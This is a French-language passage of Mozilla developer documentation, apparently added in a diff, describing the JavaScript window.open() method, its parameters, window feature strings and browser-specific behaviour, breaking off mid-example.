+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+
+<p>Crée une nouvelle fenêtre de navigation secondaire et y charge la ressource référencée.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="syntaxbox  language-html"><code class="language-html">var windowObjectReference = window.open(strUrl, strWindowName[, strWindowFeatures]);</code></pre>
+
+<h3 id="Valeur_renvoy.C3.A9e_et_param.C3.A8tres" name="Valeur_renvoy.C3.A9e_et_param.C3.A8tres">Valeur renvoyée et paramètres</h3>
+
+<dl>
+ <dt><code>WindowObjectReference</code></dt>
+ <dd>Il s'agit de la référence pointant vers la fenêtre de navigation nouvellement créée. Cette référence est la valeur renvoyée par la méthode <code>open()</code> ; elle sera à <code>null</code> si pour une raison ou une autre l'appel n'a pas réussi à ouvrir une fenêtre. Une variable globale est le meilleur endroit pour stocker une telle référence. Il est alors possible, par exemple, de l'utiliser pour obtenir certaines propriétés de la nouvelle fenêtre, ou accéder à certaines de ses méthodes, à condition que la relation entre votre fenêtre principale et votre fenêtre secondaire se conforme avec les paramètres de sécurité de même origine (<em><a class="external" href="http://www.mozilla.org/projects/security/components/same-origin.html">Same origin policy</a> security requirements</em> ).</dd>
+</dl>
+
+<dl>
+ <dt><code>strUrl</code></dt>
+ <dd>Il s'agit de l'URL à charger dans la fenêtre nouvellement créée. <var>strUrl</var> peut être un document HTML, un fichier image, ou tout autre type de fichier géré par le navigateur.</dd>
+</dl>
+
+<dl>
+ <dt><code>strWindowName</code></dt>
+ <dd>Il s'agit de la chaîne d'identification de la nouvelle fenêtre. Celle-ci peut être utilisée pour être la cible de liens et de formulaires lorsque l'attribut <code>target</code> d'un élément <code style="font-size: 1em;">&lt;a&gt;</code> ou d'un élément <code style="font-size: 1em;">&lt;form&gt;</code> est spécifié. Cette chaîne ne peut contenir d'espaces. <var>strWindowName</var> ne spécifie pas le titre de la fenêtre, juste son nom interne.</dd>
+</dl>
+
+<dl>
+ <dt><code>strWindowFeatures</code></dt>
+ <dd>Paramètre optionnel. Il s'agit de la chaîne listant les fonctionnalités de la nouvelle fenêtre de navigation (et de ses barres d'outils). Cette chaîne ne peut contenir d'espaces. Chaque fonctionnalité doit être séparée par une virgule au sein de la chaîne de caractères.</dd>
+</dl>
+
+<h3 id="Description" name="Description">Description</h3>
+
+<p>La méthode <code>open()</code> crée une nouvelle fenêtre secondaire de navigation, de façon similaire au choix de l'option Nouvelle fenêtre du menu Fichier. Le paramètre <var>strUrl</var> spécifie l'URL à récupérer et à charger dans la nouvelle fenêtre. Si <var>strUrl</var> est une chaîne vide, une nouvelle fenêtre vide de tout contenu (l'URL <code>about:blank</code> sera chargée) est créée avec les barres d'outils par défaut de la fenêtre principale.</p>
+
+<p>Notez que les URL distantes ne seront pas chargées instantanément. Lorsque l'appel à <code>window.open()</code> se termine et renvoie sa valeur, la fenêtre contient toujours <code>about:blank</code>. Le chargement proprement dit de l'URL est reporté et ne commence effectivement qu'après la fin de l'exécution du bloc de script courant. La création de la fenêtre d'une part et le chargement de la ressource référencée d'autre part sont faits de manière asynchrone.</p>
+
+<h4 id="Exemples" name="Exemples">Exemples</h4>
+
+<pre class="brush:js  language-js"><code class="language-js"><span class="keyword token">var</span> windowObjectReference<span class="punctuation token">;</span>
+<span class="keyword token">var</span> strWindowFeatures <span class="operator token">=</span> <span class="string token">"menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes"</span><span class="punctuation token">;</span>
+
+<span class="keyword token">function</span> <span class="function token">openRequestedPopup<span class="punctuation token">(</span></span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  windowObjectReference <span class="operator token">=</span> window<span class="punctuation token">.</span><span class="function token">open<span class="punctuation token">(</span></span><span class="string token">"http://www.cnn.com/"</span><span class="punctuation token">,</span> <span class="string token">"CNN_WindowName"</span><span class="punctuation token">,</span> strWindowFeatures<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<pre class="brush:js  language-js"><code class="language-js"><span class="keyword token">var</span> windowObjectReference<span class="punctuation token">;</span>
+
+<span class="keyword token">function</span> <span class="function token">openRequestedPopup<span class="punctuation token">(</span></span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  windowObjectReference <span class="operator token">=</span> window<span class="punctuation token">.</span><span class="function token">open<span class="punctuation token">(</span></span>
+    <span class="string token">"http://www.domainname.ext/path/ImageFile.png"</span><span class="punctuation token">,</span>
+    <span class="string token">"DescriptiveWindowName"</span><span class="punctuation token">,</span>
+    <span class="string token">"resizable,scrollbars,status"</span>
+  <span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+
+
+<p>Si une fenêtre du nom <var>strWindowName</var> existe déjà, alors, au lieu d'ouvrir une nouvelle fenêtre, <var>strUrl</var> est chargée dans cette fenêtre existante. Dans ce cas, la valeur renvoyée par la méthode est la fenêtre existante, et <var>strWindowFeatures</var> est ignorée. Fournir une chaîne vide pour <var>strUrl</var> est une manière d'obtenir une référence à une fenêtre ouverte par son nom sans en changer l'adresse. Si vous désirez ouvrir une nouvelle fenêtre à chaque appel de <code>window.open()</code>, il faut utiliser la nom réservé <var>_blank</var> pour <var>strWindowName</var>.</p>
+
+<div class="note">
+<p><strong>Note à propos de l'utilisation de window.open pour ré-ouvrir ou donner le focus à une fenêtre existante portant un nom connu du domaine </strong>: Cette fonctionalité n'est pas valide pour tous les navigateurs et qui plus est avec des comportement variables. Firefox (50.0.1) fonctionne comme il est décrit ici : depuis le même domaine+port la ré-exécution de window.open avec le même nom va accéder à la fenêtre précédemment ouverte.  Google Chrome (55.0.2883.87 m ) pour sa part ne l'exécutera qu'à partir du même parent (nommé "opener", comme si les fenêtres étaient créées avec une dépendance et uniquement avec window.open). Il s'agit là d'une limitation considérable ce qui génère une incroyable complexité de développement parfois sans issue. Firefox récupère le handle vers toutes les fenêtres du domaine dont le nom est connu, ce qui permet d'accéder à leur données, mais il ne peut exécuter une commande HTMLElement.focus() vers l'une quelconque de ces fenêtres, ce qui interdit de réouvrir la fenêtre pourtant connue comme active. Pour sa part Chrome peut redonner le focus à une fenêtre (onglet) enfant mais l'opération est impossible entre frères et depuis l'enfant vers le parent. Quant aux autres fenêtres du même domaine (même famille ?) non ouvertes avec window.open elles sont inconnues et<code> window.open('',&lt;name&gt;,'')</code> ouvrira alors des doublons. La fonction <code>hw=window.open('',strWindowName<strong> </strong> ,'')</code> est pourtant la seule qui permette de récupérer un handle en connaissant un nom et théoriquement éviter la création de doublons, mais pour l'instant, 22/02/2017, les différences de comportement des navigateurs ne permettent de l'utiliser que de manière partielle dans des cas très restreints.</p>
+</div>
+
+<p><var>strWindowFeatures</var> est une chaîne optionnelle contenant une liste, séparée par des virgules, de fonctionnalités demandées pour la nouvelle fenêtre. Après qu'une fenêtre soit ouverte, vous ne pouvez pas utiliser JavaScript pour changer ses fonctionnalités et ses barres d'outils. Si <var>strWindowName</var> ne spécifie pas une fenêtre existante et si vous ne fournissez pas le paramètre <var>strWindowFeatures</var> (ou si celui-ci est une chaîne vide), la nouvelle fenêtre secondaire comportera les barres d'outils par défaut de la fenêtre principale.</p>
+
+<p>Si le paramètre <var>strWindowFeatures</var> est utilisé et si aucune information de taille n'est définie, les dimensions de la nouvelle fenêtre seront les mêmes que celles de la fenêtre ouverte la plus récemment.</p>
+
+<p>Si le paramètre <var>strWindowFeatures</var> est utilisé et qu'aucune information de position n'est définie, les coordonnées du coin en haut à gauche de la nouvelle fenêtre seront décalées de 22 pixels vers le bas et vers la droite par rapport à celles de la fenêtre ouverte le plus récemment. Un décalage est utilisé par tous les concepteurs de navigateurs (il est de 29 pixels dans Internet Explorer 6 SP2 avec le thème par défaut) et son but est d'aider l'utilisateur à remarquer l'ouverture d'une nouvelle fenêtre. Si la fenêtre ouverte le plus récemment était maximisée, il n'y aura pas de décalage et la nouvelle fenêtre secondaire sera maximisée également.</p>
+
+<p><strong>Si le paramètre <var>strWindowFeatures</var> est défini, les fonctionnalités qui ne sont pas listées, explicitement demandées dans la chaîne, seront désactivées ou enlevées</strong> (à l'exception de <var>titlebar</var> et <var>close</var> qui sont par défaut à <var>yes</var>).</p>
+
+<div class="note">
+<p><strong>Astuce</strong> : Si vous utilisez le paramètre <var>strWindowFeatures</var>, listez uniquement les fonctionnalités dont vous avez besoin, qui doivent être activées ou affichées. Les autres (à l'exception de <var>titlebar</var> et <var>close</var>) seront désactivées ou enlevées.</p>
+</div>
+
+<p style="border: 1px dotted green;"><img alt="Illustration des barres d'outils du chrome de Firefox" class="internal" src="/@api/deki/files/1286/=FirefoxChromeToolbarsDescription7a.png"></p>
+
+<h4 id="Fonctionnalit.C3.A9s_de_position_et_de_taille" name="Fonctionnalit.C3.A9s_de_position_et_de_taille">Fonctionnalités de position et de taille</h4>
+
+<p><a href="#Note_sur_les_corrections_d.27erreurs_de_position_et_de_dimension">Note sur les corrections d'erreurs de position et de dimension</a></p>
+
+<div class="bug">{{bug(176320) }}</div>
+
+<p><a href="#Note_sur_les_priorit.C3.A9s">Note sur les priorités</a></p>
+
+<dl>
+ <dt>left </dt>
+ <dd><span id="left">Spécifie la distance</span> à laquelle la nouvelle fenêtre est placée depuis le bord gauche de la zone de travail destinée aux applications du système d'exploitation de l'utilisateur jusqu'à la bordure extérieure (bordure de redimensionnement) de la fenêtre de navigation. La nouvelle fenêtre ne peut pas être positionnée initialement hors de l'écran.</dd>
+ <dd>Reconnu par : , , , , ,</dd>
+</dl>
+
+<dl>
+ <dt>top </dt>
+ <dd><span id="topS">Spécifie la distance</span> à laquelle la nouvelle fenêtre est placée depuis le bord supérieur de la zone de travail destinée aux applications du système d'exploitation de l'utilisateur jusqu'à la bordure extérieure (bordure de redimensionnement) de la fenêtre de navigation. La nouvelle fenêtre ne peut pas être positionnée initialement hors de l'écran.</dd>
+ <dd>Reconnu par : , , , , ,</dd>
+</dl>
+
+<dl>
+ <dt>height </dt>
+ <dd><span id="height">Spécifie la hauteur</span> de la zone de contenu, l'espace de visualisation de la nouvelle fenêtre secondaire, en pixels. La valeur de hauteur comprend celle de la barre de défilement horizontale si celle-ci est présente. La valeur minimale requise est 100.</dd>
+ <dd><a href="#Note_sur_la_diff.C3.A9rence_entre_outerHeight_et_height">Note sur la différence entre outerHeight et height (ou innerHeight)</a></dd>
+ <dd>Reconnu par : , , , , ,</dd>
+</dl>
+
+<dl>
+ <dt>width </dt>
+ <dd><span id="width">Spécifie la largeur</span> de la zone de contenu, l'espace de visualisation de la nouvelle fenêtre secondaire, en pixels. La valeur de largeur comprend celle de la barre de défilement verticale si celle-ci est présente. Elle ne prend pas en compte un éventuel panneau latéral si celui-ci est déplié. La valeur minimale requise est 100.</dd>
+ <dd>Reconnu par : , , , , ,</dd>
+</dl>
+
+<dl>
+ <dt>screenX </dt>
+ <dd>Déprécié. Ne plus utiliser. Similaire à <a href="#left">left</a>, mais uniquement reconnu par les navigateurs Netscape et basés sur Mozilla.</dd>
+ <dd>Reconnu par : , , ,</dd>
+</dl>
+
+<dl>
+ <dt>screenY </dt>
+ <dd>Déprécié. Ne plus utiliser. Similaire à <a href="#topS">top</a>, mais uniquement reconnu par les navigateurs Netscape et basés sur Mozilla.</dd>
+ <dd>Reconnu par : , , ,</dd>
+</dl>
+
+<dl>
+ <dt>outerHeight </dt>
+ <dd>Spécifie la hauteur de toute la fenêtre de navigation en pixels. Cette valeur outerHeight comprend toute barre d'outils présente, la barre de défilement horizontale de la fenêtre (si présente) et les bordures inférieures et supérieures. La valeur minimale requise est 100.</dd>
+ <dd><strong>Note</strong> : étant donné que la barre de titre est toujours visible, demander une valeur outerHeight=100 rendra la valeur innerHeight de la fenêtre de navigation plus petite que les 100 pixels minimaux habituels.</dd>
+ <dd><a href="#Note_sur_la_diff.C3.A9rence_entre_outerHeight_et_height">Note sur les différences entre outerHeight et height (ou innerHeight)</a></dd>
+ <dd>Reconnu par : , , ,</dd>
+</dl>
+
+<dl>
+ <dt>outerWidth </dt>
+ <dd>Spécifie la largeur de toute la fenêtre de navigation en pixels. Cette valeur outerWidth comprend la barre de défilement verticale (si présente) et les bords gauche et droits de la fenêtre.</dd>
+ <dd>Reconnu par : , , ,</dd>
+</dl>
+
+<dl>
+ <dt>innerHeight </dt>
+ <dd>Similaire à <a href="#height">height</a>, mais uniquement reconnu par les navigateurs Netscape et basés sur Mozilla. Spécifie la hauteur de la zone de contenu, l'espace de visualisation de la nouvelle fenêtre secondaire, en pixels. La valeur <code>innerHeight</code> comprend la hauteur de la barre de défilement horizontale si celle-ci est présente. La valeur minimale requise est 100.</dd>
+ <dd><a href="#Note_sur_la_diff.C3.A9rence_entre_outerHeight_et_height">Note sur les différences entre outerHeight et height (ou innerHeight)</a></dd>
+ <dd>Reconnu par : , , ,</dd>
+</dl>
+
+<dl>
+ <dt>innerWidth </dt>
+ <dd>Similaire à <a href="#width">width</a> , mais uniquement reconnu par les navigateurs Netscape et basés sur Mozilla. Spécifie la largeur de la zone de contenu, l'espace de visualisation de la nouvelle fenêtre secondaire, en pixels. La valeur <code>innerWidth</code> comprend la largeur de la barre de défilement verticale si celle-ci est présente. Elle ne prend pas en compte un éventuel panneau latéral si celui-ci est déplié. La valeur minimale requise est 100.</dd>
+ <dd>Reconnu par : , , ,</dd>
+</dl>
+
+<h4 id="Fonctionnalit.C3.A9s_de_barres_d.27outils_et_de_chrome" name="Fonctionnalit.C3.A9s_de_barres_d.27outils_et_de_chrome">Fonctionnalités de barres d'outils et de chrome</h4>
+
+<dl>
+ <dt>menubar </dt>
+ <dd>Si cette fonctionnalité est définie à <var>yes</var>, la nouvelle fenêtre secondaire disposera d'une barre de menus.</dd>
+ <dd>Les utilisateurs de Mozilla et Firefox peuvent obliger les nouvelles fenêtres à toujours avoir une barre de menus en positionnant <code>dom.disable_window_open_feature.menubar</code> à <var>true</var> dans <kbd>about:config</kbd> ou dans leur <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">fichier user.js</a>.</dd>
+ <dd>Reconnu par : , , , ,</dd>
+</dl>
+
+<dl>
+ <dt>toolbar </dt>
+ <dd>Si cette fonctionnalité est définie à <var>yes</var>, la nouvelle fenêtre secondaire disposera d'une barre de navigation (boutons Précédente, Suivante, Actualiser et Arrêter). En plus de la barre de navigation, les navigateurs basés sur Mozilla afficheront également la barre d'onglets si elle est toujours visible et présente dans la fenêtre parente.</dd>
+ <dd>Les utilisateurs de Mozilla et Firefox peuvent obliger les nouvelles fenêtres à toujours afficher la barre de navigation en positionnant <code>dom.disable_window_open_feature.toolbar</code> à <var>true</var> dans <kbd>about:config</kbd> ou dans leur <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">fichier user.js</a>.</dd>
+ <dd>Reconnu par : , , , ,</dd>
+</dl>
+
+<dl>
+ <dt>location </dt>
+ <dd>Si cette fonctionnalité est définie à <var>yes</var>, la nouvelle fenêtre secondaire affichera une barre d'adresse (ou d'emplacement).</dd>
+ <dd>Les utilisateurs de Mozilla et Firefox peuvent obliger les nouvelles fenêtres à toujours afficher la barre d'adresse en positionnant <code>dom.disable_window_open_feature.location</code> à <var>true</var> dans <kbd>about:config</kbd> ou dans leur <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">fichier user.js</a>.</dd>
+ <dd>Notez qu'Internet Explorer 7 force la présence de la barre d'adresse : « Nous pensons que la barre d'adresse est aussi importante pour les utilisateurs <strong>à voir dans les fenêtres pop-up</strong>. Une barre d'adresse manquante crée une opportunité pour un fraudeur de contrefaire une adresse. Pour aider à contrer cela, <strong>IE7 va afficher une barre d'adresse sur toutes les fenêtres de navigation pour aider les utilisateurs à voir où ils sont</strong>. » provenant de <a class="external" href="http://blogs.msdn.com/ie/archive/2005/11/21.aspx">Better Website Identification</a>.</dd>
+ <dd>Il est également dans les intentions de Mozilla de forcer la présence de la Barre d'adresse dans une prochaine version de Firefox :</dd>
+ <dd>
+ <div class="bug">{{bug(337344) }}</div>
+ </dd>
+</dl>
+
+<dl>
+ <dd>Reconnu par : , , , , ,</dd>
+</dl>
+
+<dl>
+ <dt>directories </dt>
+ <dd>Si cette fonctionnalité est définie à <var>yes</var>, la nouvelle fenêtre secondaire affichera la barre personnelle dans les navigateurs Netscape 6.x, Netscape 7.x, Mozilla et Firefox. Dans Internet Explorer 5+, la barre de liens sera affichée. En plus de la barre personnelle, les navigateurs Mozilla afficheront la barre de navigation du site si celle-ci est visible et présente dans la fenêtre parente.</dd>
+ <dd>Les utilisateurs de Mozilla et Firefox peuvent obliger les nouvelles fenêtres à toujours afficher leur barre personnelle en positionnant<code>dom.disable_window_open_feature.directories</code> à <var>true</var> dans <kbd>about:config</kbd> ou dans leur <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">fichier user.js</a>.</dd>
+ <dd>Reconnu par : , , , ,</dd>
+</dl>
+
+<dl>
+ <dt>personalbar </dt>
+ <dd>Similaire à <var>directories</var>, mais ne fonctionne que dans Netscape et les navigateurs basés sur Mozilla.</dd>
+ <dd>Reconnu par : , , ,</dd>
+</dl>
+
+<dl>
+ <dt>status </dt>
+ <dd>Si cette fonctionnalité est définie à <var>yes</var>, la nouvelle fenêtre secondaire disposera d'une barre d'état. Les utilisateurs peuvent forcer la présence de la barre d'état dans tous les navigateurs basés sur Mozilla, dans Internet Explorer 6 SP2 (<a href="#Note_sur_les_probl.C3.A8mes_de_s.C3.A9curit.C3.A9_li.C3.A9s_.C3.A0_la_pr.C3.A9sence_de_la_barre_d.27.C3.A9tat">Note sur la barre d'état avec XP SP2</a>) et dans Opera 6+. Les réglages par défaut des navigateurs récents basés sur Mozilla et Firefox 1.0 forcent la présence de la barre d'état.</dd>
+ <dd><a href="#Note_sur_la_barre_d.27.C3.A9tat">Note sur la barre d'état</a></dd>
+ <dd>Reconnu par : , , , ,</dd>
+</dl>
+
+<h4 id="Fonctionnalit.C3.A9s_relatives_.C3.A0_la_fen.C3.AAtre" name="Fonctionnalit.C3.A9s_relatives_.C3.A0_la_fen.C3.AAtre">Fonctionnalités relatives à la fenêtre</h4>
+
+<dl>
+ <dt>resizable </dt>
+ <dd>Si cette fonctionnalité est définie à <var>yes</var>, la nouvelle fenêtre secondaire sera redimensionnable.</dd>
+ <dd><strong>Note</strong> : à partir de la version 1.4, les navigateurs basés sur Mozilla ont une zone de redimensionnement à l'extrémité droite de la barre d'état. Cela permet de s'assurer que les utilisateurs peuvent toujours redimensionner la fenêtre même si l'auteur de la page Web a demandé que cette fenêtre secondaire ne soit pas redimensionnable. Dans ce cas, les icônes de maximisation/restauration dans la barre de titre de la fenêtre seront désactivées et les bordures de la fenêtre ne permettront pas de la redimensionner, mais celle-ci pourra toujours être redimensionnée via cette zone de la barre d'état.</dd>
+ <dd>Il est probable qu'à partir de Firefox 3, toutes les fenêtres secondaires seront redimensionnables ({{ Bug(177838) }})</dd>
+</dl>
+
+<div class="note">
+<p><strong>Astuce</strong> : pour des raisons d'accessibilité, il est vivement recommandé de toujours définir cette fonctionnalité à <var>yes</var>.</p>
+</div>
+
+<dl>
+ <dd>Les utilisateurs de Mozilla et Firefox peuvent obliger les nouvelles fenêtres à être facilement redimensionnables en positionnant <code>dom.disable_window_open_feature.resizable</code> à <var>true</var> dans <kbd>about:config</kbd> ou dans leur <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">fichier user.js</a>.</dd>
+ <dd>Reconnu par : , , , ,</dd>
+</dl>
+
+<dl>
+ <dt>scrollbars </dt>
+ <dd>Si cette fonctionnalité est définie à <var>yes</var>, la nouvelle fenêtre secondaire affichera des barres de défilement horizontales et/ou verticales si le document ne rentre pas dans la zone d'affichage de la fenêtre.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Astuce</strong> : pour des raisons d'accessibilité, il est vivement recommandé de toujours définir cette fonctionnalité à <var>yes</var>.</p>
+</div>
+
+<dl>
+ <dd>Les utilisateurs de Mozilla et Firefox peuvent obliger cette option à être toujours activée en positionnant <code>dom.disable_window_open_feature.scrollbars</code> à <var>true</var> dans <kbd>about:config</kbd> ou dans leur <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">fichier user.js</a>.</dd>
+ <dd><a href="#Note_sur_les_barres_de_d.C3.A9filement">Note sur les barres de défilement</a></dd>
+ <dd>Reconnu par : , , , ,</dd>
+</dl>
+
+<dl>
+ <dt>dependent </dt>
+ <dd>Si définie à <var>yes</var>, la nouvelle fenêtre est dite dépendante de sa fenêtre parente. Une fenêtre dépendante se ferme lorsque sa fenêtre parente est fermée. Une fenêtre dépendante est réduite dans la barre des tâches uniquement lorsque sa fenêtre parente est réduite. Sur les plateformes Windows, une fenêtre dépendante n'est pas affichée sur la barre des tâches. Elle reste également en avant-plan de la fenêtre parente.</dd>
+ <dd>Les fenêtres dépendantes n'existent pas sous Mac OS X, cette option y sera ignorée.</dd>
+ <dd>La suppression complète de cette fonctionnalité sur toutes les plateformes est en cours de discussion ({{ Bug(214867) }})</dd>
+ <dd>Dans Internet Explorer 6, le plus proche équivalent à cette fonctionnalité est la méthode <code>showModelessDialog()</code>.</dd>
+ <dd>Reconnu par : , , ,</dd>
+</dl>
+
+<dl>
+ <dt>modal </dt>
+ <dd><strong>Note</strong> : à partir de Mozilla 1.2.1, cette fonctionnalité requiert le privilège <code>UniversalBrowserWrite</code> ({{ Bug(180048) }}). Sans ce privilège, elle est équivalente à <code>dependent</code>.</dd>
+ <dd>Si définie à <var>yes</var>, la nouvelle fenêtre est dite modale. L'utilisateur ne peut pas retourner à la fenêtre principale tant que la fenêtre modale n'est pas fermée. Une fenêtre modale typique est créée par la <a href="fr/DOM/window.alert">fonction alert()</a>.</dd>
+ <dd>Le comportement exact des fenêtres modales dépend de la plateforme et de la version de Mozilla.</dd>
+ <dd>L'équivalent de cette fonctionnalité dans Internet Explorer 6 est la méthode <code>showModalDialog()</code>.</dd>
+ <dd>Reconnu par : , , ,</dd>
+</dl>
+
+<dl>
+ <dt>dialog </dt>
+ <dd>La fonctionnalité <code>dialog</code> retire toutes les icônes (restaurer, réduire, agrandir) de la barre de titre de la fenêtre, laissant uniquement le bouton de fermeture. Mozilla 1.2+ et Netscape 7.1 afficheront les autres commandes du menu système (dans Firefox 1.0 et Netscape 7.0x, le menu de commandes système n'est pas associé avec l'icône de Firefox/Netscape 7.0x à l'extrémité gauche de la barre de titre, il s'agit probablement d'un bug. Il est possible d'accéder au menu de commandes système avec un clic droit sur la barre de titre). Les fenêtres de dialogue sont des fenêtres qui n'ont pas d'icône de commande système de réduction ni d'agrandissement/restauration dans la barre de titre, ni dans les choix correspondants du menu de commandes système. On les appelle dialogues car leur utilisation normale est uniquement de notifier une information et d'être ensuite immédiatement fermées. Sur les systèmes Mac, les fenêtres de dialogue ont une bordure différente et peuvent prendre la forme de<em>sheets</em> .</dd>
+ <dd>Reconnu par : , , ,</dd>
+</dl>
+
+<dl>
+ <dt>minimizable </dt>
+ <dd>Ce paramètre peut uniquement s'appliquer à des fenêtres de dialogue ; l'utilisation de « minimizable » nécessite <code>dialog=yes</code>. Si <code>minimizable</code> est défini à <var>yes</var>, le nouveau dialogue aura une commande système de réduction dans la barre de titre et il sera possible de le réduire dans la barre des tâches. Toute fenêtre n'étant pas un dialogue est toujours réductible, cette option y sera donc ignorée.</dd>
+ <dd>Reconnu par : , , ,</dd>
+</dl>
+
+<dl>
+ <dt>fullscreen </dt>
+ <dd>À ne pas utiliser. N'est pas reconnu par Mozilla, et il n'existe aucun plan prévoyant de le faire fonctionner dans Mozilla.</dd>
+ <dd>Ce paramètre ne fonctionne plus dans Internet Explorer 6 SP2 de la façon dont il le faisait dans Internet Explorer 5.x. La barre des tâches de Windows, ainsi que la barre de titre et la barre d'état de la fenêtre ne sont ni visibles, ni accessibles lorsque le mode plein écran est activé dans IE 5.x.</dd>
+ <dd><code>fullscreen</code> ennuie toujours les utilisateurs disposant d'un grand écran ou de plusieurs écrans. Obliger les autres utilisateurs à passer en plein écran avec <code>fullscreen</code> est également extrêmement impopulaire et est considéré comme une tentative impolie d'imposer les préférences d'affichage de l'auteur à l'utilisateur.</dd>
+ <dd><a href="#Note_sur_le_plein_.C3.A9cran_.28fullscreen.29">Note sur fullscreen</a></dd>
+ <dd>Reconnu par :</dd>
+ <dd><code>fullscreen</code> ne fonctionne plus vraiment dans Internet Explorer 6 SP2.</dd>
+</dl>
+
+<h4 id="Fonctionnalit.C3.A9s_n.C3.A9cessitant_des_privil.C3.A8ges" name="Fonctionnalit.C3.A9s_n.C3.A9cessitant_des_privil.C3.A8ges">Fonctionnalités nécessitant des privilèges</h4>
+
+<p>Les fonctionnalités suivantes nécessitent le privilège <code>UniversalBrowserWrite</code>, autrement elles seront ignorées. Les scripts chrome bénéficient de ce privilège automatiquement, les autres doivent le demander via le <a href="fr/PrivilegeManager">PrivilegeManager</a>.</p>
+
+<dl>
+ <dt>chrome </dt>
+ <dd><strong>Note</strong> : à partir de Mozilla 1.7/Firefox 0.9, cette fonctionnalité requiert le privilège <code>UniversalBrowserWrite</code> ({{ Bug(244965) }}). Sans ce privilège, elle est ignorée.</dd>
+ <dd>Si définie à <var>yes</var>, la page est chargée en tant qu'unique contenu de la fenêtre, sans aucun autre élément de l'interface de navigation. Il n'y aura pas de menu contextuel défini par défaut, et aucun des raccourcis clavier standard ne fonctionnera. La page est supposée fournir sa propre interface utilisateur, et cette fonctionnalité est habituellement utilisée pour ouvrir des documents XUL (les dialogues standard comme la console JavaScript sont ouverts de cette façon).</dd>
+ <dd>Reconnu par : , , ,</dd>
+</dl>
+
+<dl>
+ <dt>titlebar </dt>
+ <dd>Par défaut, toutes les nouvelles fenêtres secondaires ont une barre de titre. Si défini à <var>no</var>, ce paramètre enlève la barre de titre de la nouvelle fenêtre secondaire.</dd>
+ <dd>Les utilisateurs de Mozilla et Firefox peuvent obliger les nouvelles fenêtres à toujours avoir une barre de titre en positionnant<code>dom.disable_window_open_feature.titlebar</code> à <var>true</var> dans <kbd>about:config</kbd> ou dans leur <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">fichier user.js</a>.</dd>
+ <dd>Reconnu par : , , ,</dd>
+</dl>
+
+<dl>
+ <dt>alwaysRaised </dt>
+ <dd>Si défini à <var>yes</var>, la nouvelle fenêtre sera toujours affichée par dessus les autres fenêtres du navigateur, qu'elle soit active ou non.</dd>
+ <dd>Reconnu par : , , ,</dd>
+</dl>
+
+<dl>
+ <dt>alwaysLowered </dt>
+ <dd>Si défini à <var>yes</var>, la nouvelle fenêtre créé flottera par dessous sa propre fenêtre parente tant que celle-ci n'est pas réduite. Les fenêtres utilisant alwaysLowered sont souvent appelées pop-under. Celles-ci ne peuvent pas passer au dessus de leur fenêtre parente, mais celle-ci peut être réduite. Dans Netscape 6.x, les fenêtres alwaysLowered n'ont pas de commande système de réduction ni de commande système restaurer/agrandir.</dd>
+ <dd>Reconnu par : , , ,</dd>
+</dl>
+
+<dl>
+ <dt>z-lock </dt>
+ <dd>Identique à <code>alwaysLowered</code>.</dd>
+</dl>
+
+<dl>
+ <dt>close </dt>
+ <dd>Lorsque défini à <var>no</var>, ce paramètre supprime l'icône système de fermeture de la fenêtre, et l'élément de menu correspondant. Il fonctionnera uniquement pour les fenêtres de dialogue (avec la fonctionnalité <code>dialog</code> activée). <code>close=no</code> a précédence sur <code>minimizable=yes</code>.</dd>
+ <dd>Les utilisateurs de Mozilla et Firefox peuvent obliger les nouvelles fenêtres à toujours avoir un bouton de fermeture en positionnant <code>dom.disable_window_open_feature.close</code> à <var>true</var> dans <kbd>about:config</kbd> ou dans leur <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">fichier user.js</a>.</dd>
+ <dd>Reconnu par : , , ,</dd>
+</dl>
+
+<p>Les fonctionnalités de position et de taille nécessitent d'être accompagnées d'un nombre. Les fonctionnalités de barres d'outils et de fenêtre peuvent être accompagnées de <var>yes</var> (oui) ou <var>no</var> (non) ; il est également possible d'utiliser <var>1</var> à la place de <var>yes</var> et <var>0</var> à la place de <var>no</var>. Les fonctionnalités de barres d'outils et de fenêtre acceptent aussi une forme raccourcie : vous pouvez activer une fonctionnalité en listant simplement son nom dans la chaîne <var>strWindowFeatures</var>. Si vous fournissez le paramètre <var>strWindowFeatures</var>, les fonctionnalités <code>titlebar</code> et <code>close</code> sont toujours à <var>yes</var> par défaut, mais les autres fonctionnalités présentant un choix <var>yes</var>/<var>no</var> seront à <var>no</var> par défaut et seront donc désactivées.</p>
+
+<p>Exemple :</p>
+
+<pre>&lt;script type="text/javascript"&gt;
+var WindowObjectReference; // variable globale
+
+function openRequestedPopup() {
+  WindowObjectReference = window.open("http://www.nomdedomaine.ext/chemin/FichierImg.png",
+        "NomDeFenetreDescriptif",
+        "width=420,height=230,resizable,scrollbars=yes,status=1");
+}
+&lt;/script&gt;
+</pre>
+
+<p>Dans cet exemple, la fenêtre sera redimensionnable, elle affichera des barres de défilement si nécessaire (si le contenu dépasse les dimensions de fenêtre demandées) et affichera la barre d'état. Elle n'affichera pas la barre de menus ni la barre d'adresse. Comme l'auteur connaissait la taille de l'image (400 pixels de large et 200 pixels de haut), il a ajouté les marges appliquées à l'élément racine dans Internet Explorer 6, c'est-à-dire 15 pixels en haut, 15 pixels en bas, 10 pixels à gauche et 10 pixels à droite.</p>
+
+<h3 id="Bonnes_pratiques" name="Bonnes_pratiques">Bonnes pratiques</h3>
+
+<pre>&lt;script type="text/javascript"&gt;
+var WindowObjectReference = null; // variable globale
+
+function openFFPromotionPopup() {
+  if (WindowObjectReference == null || WindowObjectReference.closed) {
+    /* si le pointeur vers l'objet window n'existe pas, ou s'il existe
+       mais que la fenêtre a été fermée */
+    WindowObjectReference = window.open("http://www.spreadfirefox.com/",
